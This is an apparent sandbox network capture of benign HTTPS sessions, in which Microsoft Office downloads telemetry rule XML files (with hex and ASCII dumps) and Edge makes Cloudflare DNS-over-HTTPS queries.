2024-11-12 07:30:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-16547b76f7fj5p7mhC1DFWf8w40000000fag00000000gz8r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2a85e8ce-c01e-0066-0ca2-34a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-15869dbbcc6hgzkhhC1DFWgtqs00000006q000000000ag0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-16547b76f7fcjqqhhC1DFWrrrc0000000f90000000008220 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 28a3e358-d01e-0065-18ab-34b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-17df447cdb5rnd49hC1DFWgmpw00000005z0000000006d6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ea37d4f0-601e-0001-2ea5-34faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-17df447cdb5jg4kthC1DFWux4n0000000bk000000000cne2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 270f50c7-901e-0048-6ea3-34b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-15869dbbcc6lq45jhC1DFWtecs00000000xg00000000fu8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 5110c229-601e-0050-6ea6-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-17df447cdb59mt7dhC1DFWqpg40000000bqg000000004xd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-16547b76f7f9bs6dhC1DFWt3rg0000000fb00000000051xf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 84ac84b3-801e-0078-19a1-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-17df447cdb5wrr5fhC1DFWte8n0000000bzg00000000dx45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: e1e7afd1-d01e-00ad-65a8-34e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073032Z-17df447cdb5vq4m4hC1DFW2t8w00000000v000000000fxv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49827	172.64.41.3	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 07:30:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 07:30:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14d13c9a1c46e9-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 07:30:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49828	172.64.41.3	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
